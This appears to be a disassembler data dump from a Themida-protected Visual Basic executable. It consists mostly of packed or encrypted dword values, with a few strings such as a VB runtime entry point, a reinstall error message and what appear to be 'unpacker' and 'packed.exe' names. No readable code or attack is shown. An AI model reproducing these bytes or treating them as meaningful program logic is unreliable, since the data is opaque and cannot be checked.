		dd 0ACE22EA8h, 51AE71F3h, 5ACD6E94h, 0E2385F90h, 9F1ADB75h
		dd 4F0C1EAAh, 1FEC9CCh,	6E4E2C11h, 8754F05h, 4F056E2Ah
		dd 9A5D498Ah, 3EFC88B0h, 13443CEBh, 248E734Ch, 7CD654E9h
		dd 452BD8B9h, 8A4DBE29h, 4085FEA0h, 0FA7106FBh,	89FA6943h
		dd 0D55B8CCCh, 7054E93Eh, 0B824951h, 0F9D263CFh, 6F28E7AFh
		dd 86653F63h, 0E99ABBB9h, 1DF63954h, 0F9826AD9h, 3E9333h
		dd 6DCC0000h, 0DC058435h, 54E9935Eh, 6803FBEh, 0CC5378D5h
		dd 2EEB64D6h, 4D10924Bh, 2B649565h, 0B6634CE8h,	1F95EED7h
		dd 2EE154E9h, 1AC3A59Ah, 0BC0E54E9h, 0FDC6BD74h, 0B03733F8h
		dd 66000000h, 0E966D6CCh, 0F275E22Ch, 169144E6h, 0B833B842h
		dd 0DA5D1A20h, 0E9DD4ABBh, 12D94F04h, 0A92EF49Bh, 762F9A2Eh
		dd 9F2C11F4h, 0FF54E903h, 0FED351AEh, 9E5154E8h, 0FF64C63Fh
		dd 0FC054E8h, 17C0BBDAh, 0BDCD3295h, 9B5ACFA8h,	0C41F871h
		dd 659C5149h, 7AF578A2h, 8518F56Eh, 18A1D89Dh, 221F55EBh
		dd 0FC298840h, 4D000001h, 968C138Ah, 0F822A522h, 4BD7F671h
		dd 938F0E89h, 0F720A722h, 0E51CD1C8h, 3BB438E2h, 4FC88E94h
		dd 0E265D248h, 380544E3h, 54EEEB3Ah, 7797CCBAh,	65444BC6h
		dd 0A800BB3Dh, 0E656D429h, 65D64F04h, 0BC3B6730h, 0D8CD9A3Dh
		dd 4B2AED6Fh, 4D1F9A5Fh, 0FADABC96h, 83C8440Ch,	5694E9D6h
		dd 543B54E9h, 0E952096Bh, 0EFA86B54h, 87B810C3h, 54E951A1h
		dd 9B525E2Ch, 33F935A8h, 0E7D1h, 0C0770400h, 0DE9C8649h
		dd 7BD40F5Dh, 8F0ACB51h, 0E562D2C8h, 0F921A028h, 74EFFD74h
		dd 0E9CD5A9Bh, 28724F04h, 0DEF630A2h, 9D9AE68h,	581F7BD4h
		dd 6AE14308h, 396AD9F3h, 0E7C6A9A3h, 0B6231D18h, 0EE4D1045h
		dd 5D89391h, 75DE114Fh,	8803C852h, 4AC88530h, 0F309BA8Bh
		dd 54BE54E9h, 7C29CAh, 0C8F25FF6h, 0F9218007h, 9D91FD74h
		dd 9C61C3B8h, 0ED5A11FAh, 0E1C9A86Fh, 0D44976F7h, 59A67344h
		dd 5AD05ECAh, 159644AEh, 0F45B8C47h, 0EDB02FAEh, 2CAD07B5h
		dd 89F78ADh, 49B6A312h,	4F075BEBh, 14558649h, 221F8FE9h
		dd 0D037FE5Ah, 11000000h, 7AA0275Eh, 0CC5679FEh, 1F0B8A0Dh
		dd 67A3225Dh, 0C3547BF6h, 0B930A5F4h, 0CF480C16h, 63E452C8h
		dd 0B631A67Ch, 0C4396817h, 54EEEC66h, 77EBA0C6h, 0DE444BC6h
		dd 6EFF9E19h, 0EA60C077h, 45179058h, 0D40F5D8Eh, 8433C9E3h
		dd 7E378205h, 982346Eh,	4E65AD8h, 2419DA4Fh
dword_59EE88	dd 0DE701C61h, 0BCC54EEh, 0AD2CABB1h, 9BE44B2Ah, 54EEDD99h
					; DATA XREF: Themida_:00566743o
		dd 137FD81Bh, 509725A4h, 836FE953h, 40A1E1BBh, 0BFBD828Bh
		dd 3D7A6DD8h, 67C689FAh, 6DD91C1Eh, 0FA57987Ah,	1B83FEBh
		dd 7DF02AABh, 907DF6C2h, 714BC476h, 3EDFC3A9h, 839F3EB9h
		dd 13F255D4h, 6DD950D2h, 0AE6BAC7Ah, 154B2Ah, 0CC920000h
		dd 0E612106Dh, 74494F04h, 4F04E5F6h, 0D6198576h, 77EB607Dh
		dd 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch,	6785D752h
		dd 0DB617BF6h, 30CA9E19h, 90AA3EB9h, 0B30D5FD8h, 81E68956h
		dd 4C6h, 4EE8300h, 5C243487h, 68241489h, 6C7h, 51240C89h
		dd 0C181E189h, 4, 8704E983h, 895C240Ch,	6850241Ch, 182404A5h
		dd 8124048Bh, 4C4h, 48D0F700h, 3203B835h, 58C189E2h, 241C8B54h
		dd 5104C483h, 1EE2BE56h, 743114EDh, 8F5E0424h, 73810843h
		dd 0ED1EE208h, 241C8B14h, 81E38953h, 4C3h, 4C38100h, 87000000h
		dd 0FF5C241Ch, 83592434h, 0E3E904C4h, 0CDFFFA75h, 0CB314EE7h
		dd 75BB817h, 0C50305EAh, 9FC3E0FFh, 62C0253Fh, 0E0995E1Ah
		dd 0A9CD0ECAh, 50D01839h, 0D0795197h, 0ADA97903h, 0D6426C94h
		dd 2798041Eh, 0D0D17641h, 9F934CD2h, 0B0A203CCh, 0DA050F72h
		dd 62E2A77h, 989B55A5h,	6E445C47h, 8C096311h, 15A12BEEh
		dd 9BE743E1h, 0DC527028h, 5FB07ADEh, 0D19824BCh, 8E8F4C20h
		dd 0E365241Dh, 0E6AE0A77h, 69EA18C3h, 12E85C9Fh, 0C9000000h
		dd 0C1AC2B62h, 0AC5723E0h, 15C8944Dh, 57B3C8F2h, 0F5FF8FCh
		dd 883h, 870F5200h, 0
aYbT		db 'Y│гбt',0
		dw 0F00h
		dd 38Ah, 0BEE8000h, 68h, 7EB86600h, 0DA805B25h,	1F348B5Eh
		dd 0F681CE8Bh, 1740A882h, 28F0Fh, 0C18A0000h, 0F689EE81h
		dd 0BE807E4h, 42000000h, 94BA222Fh, 0BC9BC6CFh,	840FFC2Fh
		dd 18h,	13E9h, 3DB40C00h, 512F0745h, 40B02ACEh,	0C2642ABAh
		dd 4573A593h, 71C68158h, 0E9479F45h, 8,	0B82E1046h, 2B6499B9h
		dd 0F1F3489h, 38Fh, 0C7B70F00h,	0B403EB83h, 820F4BEAh
		dd 3, 816DEC80h, 0FF8C00FBh, 7E850FFFh,	81FFFFFFh, 29257EE1h
		dd 17DE926h, 5D600000h,	16C4FFEh, 0D1D76FC2h, 41EFB4CAh
		dd 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h,	0E495BCD7h
		dd 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h
		dd 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h
		dd 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch
		dd 0ACE5h, 1, 42h dup(0)
		dd 0F8000000h, 0A43736D1h, 0E2D3C20Dh, 0E94D2008h, 0FF6h
		dd 0EA0C8D68h, 39FEE905h, 7868FFFBh, 0E905EA0Dh, 0FFFB39F4h
		dd 0EA0F2E68h, 39EAE905h, 868FFFBh, 0E905EA10h,	0FFFB39E0h
		dd 0EA112068h, 39D6E905h, 0E568FFFBh, 0E905EA11h, 0FFFB39CCh
		dd 0EA127568h, 39C2E905h, 0F468FFFBh, 0E905EA12h, 0FFFB39B8h
		dd 0EA13FC68h, 39AEE905h, 6568FFFBh, 0E905EA14h, 0FFFB39A4h
		dd 0EA152868h, 399AE905h, 0DB68FFFBh, 0E905EA15h, 0FFFB3990h
		dd 0EA169D68h, 3986E905h, 0FD68FFFBh, 0E905EA17h, 0FFFB397Ch
		dd 0EA18DA68h, 3972E905h, 0C2ADFFFBh, 79E99C15h, 0B324DB50h
		dd 0FC6A1D96h, 3BA95CD5h, 0E0019D16h, 4F24099Fh, 80694CD8h
		dd 0C0A98E1Dh, 0EEBCC5Dh, 6CAC3D93h, 0ABC92916h, 7FECB30Ah
		dd 9C0DF05Ah, 85CFEBBh,	0B505D5EBh, 0C31DE424h,	0EF7C23CCh
		dd 911BCAh, 0D2A734A7h,	97C79362h, 0B56B6C7h, 0EE91C927h
		dd 3FFE547Dh, 0D335AC48h, 71C9270Bh, 0CDC78F7h,	270B9F7Dh
		dd 3E558C9h, 0D8570936h, 4882CFh, 0FF2B0000h, 1C998DAFh
		dd 8C9BC7DBh, 6F3F8FDDh, 0C365BE5Eh, 0E28679CCh, 0A747B673h
		dd 9110D2h, 0E68273DFh,	0EDA06ADDh, 0C927472Bh,	1480BF89h
		dd 64108A60h, 0B9333524h, 30C32289h, 724F29AFh,	0CFD7864Dh
		dd 0C27Eh, 7FEC6F00h, 7DD5FC6Ah, 9C01C9B8h, 0BC61290Ch
		dd 58CAEB2Fh, 1D62A271h, 0D2A5CCC3h, 65F6B763h,	3620B77Ch
		dd 82CCC322h, 804A6FE3h, 0F5DC4E2Dh, 3821B233h,	0E9C1D73h
		dd 0F6D3442Bh, 56DF591Ch, 64369CC5h, 0DDDF310h,	0C3199C7Ch
		dd 0E45BCCh, 3BD04150h,	0A215D2A7h, 0EFFC9312h,	2DE55479h
		dd 0AB2FAC48h, 0B19404DBh, 17A514D9h, 4DE07F86h, 89DFAED7h
		dd 0DC5578E8h, 37A6BB29h, 0E2DBA312h, 0F0DB1F7Eh, 0D5E4A66h
		dd 0E610000h, 2DBD20C9h, 6FF86F04h, 0A83EA14Ah,	0EF7DE089h
		dd 945521CAh, 1398BD53h, 54DDF86Ch, 941D42D1h, 0D25F8011h
		dd 0A060715Fh, 67C92911h, 7CEC7F4Eh, 0BC2DD059h, 3D471E9Bh
		dd 1DBC5C6Dh, 847BCCC3h, 0FD2272E0h, 3F25DEEFh,	3DF0D2A7h
		dd 287FBAFh, 2C45C749h,	3FF9DE4Dh, 81CF89Dh, 0E6BEC927h
		dd 467257C7h, 136849A6h, 6E5CD86Dh, 61FD22D1h, 1293CFD8h
		dd 95D85C85h, 0CCh, 0BE5E6F3Fh,	79C9271Eh, 0EC4BE286h
		dd 6B0A5A7Fh, 0B97CD6F3h, 38A85DFFh, 9819BD15h,	0D1402409h
		dd 0CCC322E5h, 9E2E1380h, 0E0AA8F1Fh, 0D88FA83Dh, 0BB28DF5Ch
		dd 0A5A3C96h, 55C6D7E5h, 90D2A73Bh, 0F2C254DDh,	0DA89AE3Dh
		dd 0E5FBFB8Ah, 0B90CD74Dh, 371A8A2Bh, 593BF5A1h, 0D6A2D1FDh
		dd 0B626D952h, 1C1CEB93h, 0A02ADB1Fh, 0C7310h, 0DCF99400h
		dd 1F42D057h, 5D7A1392h, 9CC551D4h, 0DD009017h,	46A93A54h
		dd 8706F3D6h, 0C47B3015h, 4BB7055h, 4AF9B297h, 10957B0Ah
		dd 3D52C929h, 597CEC6Ah, 9BBC2DD0h, 0E37475C5h,	0DAA90CC6h
		dd 0CCC31D3Ah, 525DDCAAh, 0FBD89CA3h, 0A5EB6004h, 2016E8F1h
		dd 1C880FD3h, 3DACFE6Ah, 5FFEBA43h, 0BC5C6D3Dh,	2CCCC31Dh
		dd 3B5B6BD9h, 9C53B0C7h, 27089918h, 0BC801091h,	0C369EF2Dh
		dd 0E65528CCh, 64F5A802h, 5024B643h, 0D94D1DB3h, 6D7C62D0h
		dd 0CCC33AAFh, 0BAE39568h, 5CF5B73Bh, 0D2A7A72Fh, 24451BEAh
		dd 0B4C156B6h, 9E0DD5F7h, 1692632Fh, 7337D144h,	0C352C927h
		dd 0F084349Eh, 752F0291h, 0B274E584h, 273BFD23h, 944B3AC9h
		dd 201F6B3Eh, 3CBD1155h, 62BB8ADh, 5897D557h, 0D84B7659h
		dd 6B17CFh, 0FF400000h,	7A838DAFh, 0F5F6E0A5h, 627B606h
		dd 0C3D2A7DBh, 15F7A66Ch, 70C927A4h, 9213FFE2h,	0BB75DD04h
		dd 0F3FB82B1h, 1807FA49h, 0B5CFD7B4h, 39h, 9E7E0FDFh, 59C927ACh
		dd 0FFAB02E6h, 697848AFh, 0D2A733C4h, 8B68BB31h, 0E39AD4A4h
		dd 8C1D9C2Ch, 7653C4ABh, 937518B2h, 31C927DCh, 0D6F93837h
		dd 0F7CFD7AFh, 7, 80001E0h, 0FFA80000h,	697848AFh, 0D2AD2805h
		dd 4F72E081h, 6D763283h, 0A7163BAAh, 0DE039011h, 1841D255h
		dd 6F8CE0B2h, 2CF74859h, 5322D747h, 0C9EC7C7Dh,	1E2AEAFBh
		dd 1AEDCCC3h, 32A7C69Eh, 70E1640Dh, 0BD11834Fh,	0FD6F0E5Eh
		dd 0E7567BE8h, 0F6AE4A2Bh, 0A75392E7h, 6E057D2h, 0D53DDC39h
		dd 0BDF58D4Fh, 0C200000Ah, 1E816AAFh, 59CCA58Ch, 9F0EEBCCh
		dd 0DE412A0Fh, 0F48E6B4Eh, 391C8CF3h, 7E5BCD70h, 0BEA332B5h
		dd 0F8E172F5h, 0C1D08033h, 0C9291243h, 3D98EF84h, 0AF382DBCh
		dd 0BE6DC08Ah, 0E8761D4h, 0CCC31E0Ah, 0BAAF3FBEh, 0FB57062Bh
		dd 0CB1B15FFh, 8F7E9C75h, 6368A839h, 0D8AFCCC3h, 11F6C65Ch
		dd 594C3243h, 249BD2ADh, 14FBCB4Fh, 50413544h, 3786D747h
		dd 6C25D1A1h, 0D774AC68h, 22E8CD43h, 99189C53h,	0A4A2708h
		dd 0AEE52BBAh, 1380CCC3h, 9E1AED2Eh, 0F55D8217h, 1CAC5323h
		dd 0AD95B88Dh, 3A8A7DD2h, 0C14C2F4Eh, 60075D2Ah, 0B607D3F6h
		dd 8E03A2F2h, 0CC5DC0A9h, 0A86E2FEBh, 0DE4929E4h, 4A5B698Eh
		dd 574DB865h, 24991890h, 69A47093h, 2A19FCBAh, 0AD2F5B13h
		dd 9E315h, 4C89E400h, 8FB220A7h, 0CDEA63E2h, 0C35A124h
		dd 4D70E067h, 0D619CAA4h, 17966346h, 54CBA085h,	940BE0C5h
		dd 0DA492207h, 0D25EBFAh, 0CDE2C929h, 2DBC3DFAh, 0A6F66C08h
		dd 3C627341h, 0EBD2AD27h, 3C96B324h, 0BB3A8A79h, 0F5680126h
		dd 5974364h, 730252B1h,	0D7472E3Fh, 577AEA8Bh, 557E3AFBh
		dd 3DD3D2E2h, 0A5C49C18h, 8CA92334h, 40D154DDh,	0B928491Fh
		dd 1DBA3E94h, 0F50C53A9h, 0B7C69645h, 0CCC38F51h, 0F7452796h
		dd 22B25125h, 0ADB4E293h, 10A017D2h, 93B42140h,	33B276C7h
		dd 4DF0B99Eh, 0BF1FFBDCh, 0C08AAF3Eh, 0FE1A8B6Dh, 88C92986h
		dd 0F081D734h, 0D747BD4Ah, 1B9A2A9Dh, 55C8A186h, 0EB6302C4h
		dd 8FD93FCEh, 0AF1ECCC3h, 773CE8F8h, 0DCCA96Ah,	0B9EA3A2Ch
		dd 0A4F14F0Fh, 0A77354C5h, 16F852D6h, 4313A146h, 1B48B422h
		dd 0F7E3D502h, 0E8761D0h, 0D2AD8398h, 391E8D2Ch, 3B189C51h
		dd 0B80C8E44h, 6774055Bh, 0A2D74DE3h, 707A2BD3h, 0CE88DB13h
		dd 8CBB2h, 74A1CC00h, 0B79A08BFh, 0F5D24BFAh, 341D893Ch
		dd 7558C87Fh, 0BE01E2BCh, 0FF6E0B2Eh, 3CA3486Dh, 7CE388ADh
		dd 0B221CAEFh, 0C4DD3E2h, 0E58AC929h, 0BB7FEC92h, 0C31DEA2Ah
		dd 0EB5A2DCCh, 9A0EAF2Fh, 8662D3BFh, 17A58A1Fh,	1DD63647h
		dd 5E11CCC3h, 0DD2570DAh, 9726F666h, 0CCC31D71h, 0BC25C7B6h
		dd 4A610A2Fh, 0D5BC7165h, 766h,	79015700h, 0A8000004h
		dd 0F4C871CEh, 6273B727h, 0CCC31DA2h, 77239265h, 0F081D786h
		dd 0D2A7474Fh, 5942B9Ah, 9A2AC455h, 1CAC5323h, 48BF7C8Dh
		dd 0F6C6B904h, 894166F7h, 28EA4024h, 9021B754h,	1A15744h
		dd 1D9C2C83h, 5FCEAB8Ch, 5A01E5CAh, 6804355Dh, 806D2EEh
		dd 66090000h, 0D545F8B1h, 178007ECh, 50C67932h,	9705B871h
		dd 3CADF9B2h, 0AB4065FBh, 0EC85A034h, 2CC5EA79h, 6A0728B9h
		dd 80899F7h, 0CFC9290Ch, 7FECD7A6h, 9F0DF05Ah, 95DF1BAh
		dd 0B46B4EDAh, 0C7555424h, 0ED8F06E2h, 2AD2AD26h, 0F764055Bh
		dd 35A659D2h, 80D4460Ch, 0B0D57EA6h, 82715F7Ah,	0DCEFA332h
		dd 0B428D747h, 0C3EFE725h, 9E4D20CCh, 153AAFCEh, 97B22647h
		dd 72E76615h, 0D0D1854Dh, 1A9B1D40h, 22C7A78Ah,	30DB211Bh
		dd 7760AA6h, 0F6990000h, 45D54821h, 8710971Ch, 0C056C9A2h
		dd 79508E1h, 0AC3D4922h, 3BF0D54Bh, 7C351084h, 0BC755AC9h
		dd 0FAB79809h, 98780947h, 5FC9290Fh, 0AFFF6736h, 358C7848h
		dd 0ABF877F3h, 5581133Ch, 0D48B79AEh, 1710050h,	0C6D2AD05h
		dd 0D3406177h, 118205EEh, 0FAA98C18h, 7754CBEAh, 0FC5EDA9Bh
		dd 17A54A1Ah, 4D6AC986h, 2EBF0FD7h, 0CCCD12EEh,	0F1D25629h
		dd 0FEC5783Eh, 79D3DB13h, 6F769h, 0A0751800h, 0E3C654CBh
		dd 21069716h, 6041D548h, 0A184148Bh, 0CA2DBEC8h, 0BBA775Ah
		dd 48FFB491h, 883FF4D9h, 0C67D361Bh, 0F19FF8Eh,	0B1DEC929h
		dd 2FBC3DE6h, 0BED400Ah, 5A30198Ah, 0E1F036ABh,	0CCC31D23h
		dd 12A211E4h, 5BDDFA93h, 0E15EA4F1h, 6A8D8377h,	369CC556h
		dd 0B87E5547h, 0A330B17Bh, 0D3A3F5BEh, 0C37C42C2h, 90B527CCh
		dd 0A7167B3Ah, 0BC7E8C5h, 7C4D5BCh, 0F5000000h,	29701h
		dd 7FECA800h, 1DEA2ABBh, 6A2DCCC3h, 0B97CD6FBh,	24451BCAh
		dd 46C793B6h, 6602F1D0h, 8D7242D4h, 28FCAE3Fh, 443BD2ADh
		dd 43AB38AFh, 8308FFD4h, 2BB968A4h, 5C361B8Ah, 0C8BD1F99h
		dd 1ABC7558h, 8617A54Ah, 0D74756F5h, 8B1D9C30h,	8211E4AEh
		dd 0CCC36482h, 0AD03F245h, 0F1BA9F0Ch, 57C4DD4Eh, 66D59872h
		dd 466BF9ACh, 55BA0A8Ch, 53017607h, 0C3B7D2A7h,	6101D9EFh
		dd 99BA7ECCh, 40B74026h, 0BCDD53Dh, 5EF77h, 587D1000h
		dd 9BBE2CD3h, 0D9FE6F1Eh, 1839AD50h, 597CEC93h,	0C225C6D0h
		dd 3826F52h, 40C7AC89h,	8007ECD1h, 0CE452E13h, 0E11F786h
		dd 0B9D6C929h, 5A7FECEEh, 0BB9C0DF0h, 0C4445525h, 3CCC31Dh
		dd 0B62C8ACh, 0C455102Fh, 0FC2316E3h, 91D5BC6Ch, 7, 14F013Ah
		dd 0ECA80000h, 35DC5A7Fh, 43DB220Dh, 586F989h, 0E6890000h
		dd 55C57831h, 9700876Ch, 0D046F9B2h, 178538F1h,	0BC2D7932h
		dd 2BC0E57Bh, 6C0520B4h, 0AC456AF9h, 0EA87A839h, 88881977h
		dd 4FC92909h, 7FEC5726h, 1DEA2ABBh, 9F2DCCC3h, 64663C6h
		dd 0EF5E0DFEh, 0C8F16223h, 446DF9F8h, 0EF4D2F8Eh, 6776C696h
		dd 0CCC386A1h, 0D7159766h, 9BBC2D18h, 0D1F4DB1Eh, 3484D5BBh
		dd 3F54FD40h, 41D0C7D3h, 0CCC3D9C3h, 82F7B104h,	1Ah, 0BF012Bh
		dd 3DA80000h, 0D9E82CBCh, 0CCC31D3Bh, 0DE5A09FCh, 0ACBAh
		dd 493DE300h, 0AC3A1F2Dh, 0BA521385h, 0A7F76D0Fh, 31617040h
		dd 0F6D2AD76h, 0F5C94B07h, 96374616h, 53D74D66h, 0CC851A9Ch
		dd 3993DB13h, 4C3A9h, 6CA9C400h, 0AF920087h, 0EDCA43C2h
		dd 2C158104h, 6D50C047h, 0B6F9EA84h, 0F7760326h, 34AB4065h
		dd 74EB80A5h, 0BA29C2E7h, 845CBDAh, 0ED82C929h,	48AFFF9Ah
		dd 0C4ED7978h, 95CDAF0Eh, 0A7693004h, 781084D2h, 1FFBB2A4h
		dd 582F34F0h, 0DBFC6908h, 215EBF5Eh, 0A839C927h, 0BAAEA87h
		dd 4EF7B196h, 765BC8D9h, 5A6AD99Ch, 45D2C75Bh, 10C7B61Ch
		dd 1796C694h, 0B6DA5E83h, 448h,	78AFFFE7h, 4117C6EBh, 0AD284230h
		dd 9726F6D2h, 0C9291771h, 1E25C7B6h, 5D31E3AFh,	3E9F2EBEh
		dd 88D74D38h, 0FB5778E9h, 0E2557E3Ah, 13EE9104h, 9D35A7DBh
		dd 410h, 0F2BF5C37h, 31FADF73h,	7338198Eh, 0B27F5ACCh
		dd 0F3B89D33h, 73E146A7h, 0B622A54Eh, 0F067E693h, 32A726D3h
		dd 0A7ED640Dh, 2908F616h, 0D5A031C9h, 7848AFFFh, 0AD280569h
		dd 0C3E2F2D2h, 7B99684Dh, 0BCC92917h, 2B4A1AC9h, 651891B6h
		dd 5707D3F4h, 1716F687h, 2ED1C929h, 49289FBAh, 591CF6DBh
		dd 927145DFh, 2C52B3C2h, 3087D747h, 7100D0A0h, 0CCC31E93h
		dd 0F212E154h, 62CCC31Eh, 0A7BD4463h, 8FFDC3Bh,	24B5346Ch
		dd 62F77603h, 0B303957Dh, 0DAC7C4Ch, 1CD1B99Eh,	7DDF3D4Ch
		dd 0A518CCC3h, 300152C3h, 36B7D2A7h, 0AFCB87A2h, 1A8FB74h
		dd 3DFFAE0Dh, 5EC7A716h, 74D53D40h, 34ECEE2h, 1E710000h
		dd 1D8D30F9h, 5FC87F34h, 980EB17Ah, 0DF4DF0B9h,	846531FAh
		dd 0E388AD23h, 24CDE87Ch, 640D32A1h, 0A24F70E1h, 0B050612Fh
		dd 77C9290Bh, 7FEC0F5Eh, 9C0DF05Ah, 0EA9EFEBBh,	0B8C91327h
		dd 61F3B596h, 0CFDEEE0Dh, 0D2A7B1EEh, 7409AC58h, 0A6528D6Bh
		dd 440EE1C2h, 27EA37D1h, 9C5395C9h, 0D776321Dh,	5C5BCFh
		dd 0F4F50000h, 0C1E47065h, 1DF5A409h, 0FF7DDC58h, 0F818A9AFh
		dd 4CCCC31Dh, 0C31DDF3Dh, 64A518CCh, 3922291h, 0D2A73F06h
		dd 1424D0A0h, 0FEC766C2h, 801FFD8Ch, 0AE8FC927h, 0CC82CEF2h
		dd 0FFCDA0E1h, 27B42EEEh, 9216E9C9h, 8114FEB1h,	0C927B487h
		dd 0CD2C0325h, 0CFD7C7E2h, 0E7EBh, 7FECDC00h, 9F0DF05Ah
		dd 0BC2DD0BAh, 746C325Eh, 1A8E5FA9h, 391B1D15h,	974332D7h
		dd 0D75C8516h, 0C3E11640h, 8F03A2CCh, 6B0DE0AAh, 0DB5079EAh
		dd 96EE01F5h, 583B5B0Eh, 0E3C455DCh, 37116537h,	131DB49Bh
		dd 4C71E028h, 0F9E2E9Dh, 0D2A7505Ah, 0D43289Fh,	60EC2CBDh
		dd 537CC927h, 7A299500h, 3EFA4D8Eh, 9D33D0A4h, 4DE65A0Ch
		dd 9A2A9DD7h, 390851Bh,	0D28174DEh, 886AE382h, 14DAF590h
		dd 0CE85F77h, 9588188Fh, 48CAE707h, 2845C34Ah, 8DEC8A79h
		dd 9BDB1F18h, 1EEA131h,	7E110000h, 0BD2DD059h, 0FF681F94h
		dd 38AE51DAh, 7FED9019h, 24C5D15Ah, 83684DC3h, 0C4AD881Ch
		dd 4EDD241h, 422F1081h,	10F081CFh, 0D7C9290Ah, 7CECEFBEh
		dd 0BC2DD059h, 6475C59Bh, 0CCC31DA4h, 5A188C63h, 80E6D4E6h
		dd 15A02BCDh, 0EF78AFFFh, 851D40Fh, 8D7CF777h, 338170C5h
		dd 0A79B79A2h, 7E0FDFD2h, 0C9279B9Eh, 6247D659h, 2BEAC9B3h
		dd 682291B6h, 279B63A5h, 0C867C1C9h, 0D7EB0629h, 0AB87CFh
		dd 0EC300000h, 0DF05A7Fh, 8B2ABA9Fh, 0D9733512h, 0C3220234h
		dd 0CDF267CCh, 0F30A124h, 38D8E9B9h, 0FFCCC319h, 4CCE6C08h
		dd 75C59B78h, 0C4EBA481h, 72368821h, 0A7056EE3h, 5FD4ABD2h
		dd 0B404EBBBh, 4DEB1625h, 5060D7D7h, 159EC351h,	5FDF0292h
		dd 0DB1F80EAh, 11425EF8h, 36000001h, 72F5BE5Bh,	8D30F9E0h
		dd 0F3723F18h, 32B57E5Bh, 98F2BFA2h, 4D70E047h,	92B721A4h
		dd 0D2F76619h, 0C35A659h, 15A4EC67h, 0C92905F7h, 0ECD4A330h
		dd 0BB0B597Ch, 0C31DEA2Ah, 34198FCCh, 0CBBA9F5Eh, 0A63BAA21h
		dd 0D4A4E881h, 0C31D47C5h, 4B2D80CCh, 2FBC3DE2h, 72E76E0Ah
		dd 9300854Dh, 7D51C5AEh, 3BAFCE9Eh, 21069716h, 0B0E08469h
		dd 0AD284521h, 673382D2h, 0AC3C35A6h, 0AE51DA89h, 24E4F53Dh
		dd 0E3C92917h, 20F55D0Ch, 10673B04h, 7D3F461h, 67331686h
		dd 4A66677h, 8E6181E3h,	1265DAE4h, 89FC73B7h, 1A7A3718h
		dd 8511069Bh, 5007F65Ch, 9BBC2DD4h, 0A46475C5h,	1081E304h
		dd 0E3048381h, 90F14481h, 0DDF15BDDh, 49C7C0Dh,	0D45B81E3h
		dd 0F2B66540h, 14FEDB73h, 75E3509Ah, 8C2E774h, 0D142C3A5h
		dd 302CD8E8h, 5A997239h, 5A7F1392h, 39AA5DDEh, 0CD44010h
		dd 24BBAE0Bh, 0C2DE7C38h, 0Ch, 4546612h, 9197DADAh, 52FB4617h
		dd 0FE5481ECh, 0DDB59A0Fh, 3E94B928h, 12F8DD4Fh, 72D8FD93h
		dd 52381DB3h, 0B41E3BD3h, 974364F1h, 0F55D8416h, 5F5457E3h
		dd 4C781h, 0EF830000h, 243C8704h, 3B8A685Ch, 0C890000h
		dd 5E956824h, 4890000h,	317FB924h, 0E1815487h, 5B767E4Fh
		dd 5207E1C1h, 475979BAh, 81D2F758h, 39863BC2h, 5AD1315Fh
		dd 4EC81h, 24890000h, 24048124h, 4, 0CD895558h,	89E98951h
		dd 5D590848h, 5324048Bh, 0C381E389h, 4,	8704C383h, 8B5C241Ch
		dd 8956240Ch, 4C681E6h,	83000000h, 348704C6h, 1DE95C24h
		dd 0C3FFFB2Ah
		dd 35391F49h, 4C3DE5A5h, 10B81654h, 305EA1Ah, 4CE0FFC5h
		dd 781651D0h, 0DC75E2E5h, 0A92B797Dh, 8F087CE4h, 0EC19AE1Bh
		dd 0C1A546Ah, 5205C171h, 7725888Fh, 564AE698h, 0C65CAB68h
		dd 2C1897BDh, 0C34BA4E7h, 0BD773CFEh, 5C40081Fh, 3245FE0Ch
		dd 93642AFFh, 15690E1Ch, 0B59DC07h, 0DD197D53h,	0C01046A7h
		dd 33446670h, 0E91E784Ah, 15Ch,	77E705C5h, 6D5C3A43h, 706E755Fh
		dd 656B6361h, 61700072h, 64656B63h, 6578652Eh, 3Bh dup(0)
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		dd 40785305h, 1B5BE9h, 1E6E6800h, 53E905EAh, 68FFFA61h
		dd 5EA1F6Fh, 0FA6149E9h, 20A468FFh, 3FE905EAh, 68FFFA61h
		dd 5EA2169h, 0FA6135E9h, 21A868FFh, 2BE905EAh, 68FFFA61h
		dd 5EA2278h, 0FA6121E9h, 22D768FFh, 17E905EAh, 68FFFA61h
		dd 5EA231Eh, 0FA610DE9h, 295C68FFh, 3E905EAh, 68FFFA61h
		dd 5EA29F9h, 0FA60F9E9h, 2AA768FFh, 0EFE905EAh,	68FFFA60h
		dd 5EA2B88h, 0FA60E5E9h, 2BF168FFh, 0DBE905EAh,	68FFFA60h
		dd 5EA2CCFh, 0FA60D1E9h, 2D7468FFh, 0C7E905EAh,	68FFFA60h
		dd 5EA2E01h, 0FA60BDE9h, 345A68FFh, 0B3E905EAh,	68FFFA60h
		dd 5EA35ABh, 0FA60A9E9h, 365C68FFh, 9FE905EAh, 51FFFA60h
		dd 0BA60679Eh, 0C16B93Eh, 5FCBCA4Dh, 0A763629Dh, 314BB36h
		dd 0F970E5B4h, 0F884CD6h, 0A3249288h, 0F671E63Ch, 47928D7h
		dd 54EF0326h, 455DE086h, 0B9BB8491h, 3B54EF02h,	3E3587F8h
		dd 0C0770455h, 3E73EC60h, 0A0DB90AAh, 93745E3Dh, 64AC95Dh
		dd 9876A9E5h, 96B55DC8h, 3817E3Dh, 0E09E635Ch, 87C654E9h
		dd 0E9D7BCBEh, 82F73854h, 0D82F3136h, 0C09A54E9h, 0BF3A09C0h
		dd 47A333F9h, 0EA000000h, 2AED6FD8h, 0E90860D5h, 411BDC54h
		dd 0DE5CA100h, 3E54E907h, 528501BEh, 7B6B8F9h, 491154E9h
		dd 0EAC38049h, 7DDC33F8h, 0FBC3A19Eh, 0EE2154E8h, 0E8FBB3B1h
		dd 9795EA54h, 1554E8FBh, 9A77B822h, 0DE23h, 0C0776A00h
		dd 64E97349h, 8E4DDFEDh, 28AFBD0Fh, 256D198h, 4F99CD1h
		dd 4F04EA6Eh, 0D9483D15h, 9ECE3CFEh, 0A56EA3DCh, 547BF279h
		dd 3A8E09CEh, 0FF7DD68Fh, 0A827127Ch, 0D1869699h, 405A399Ch
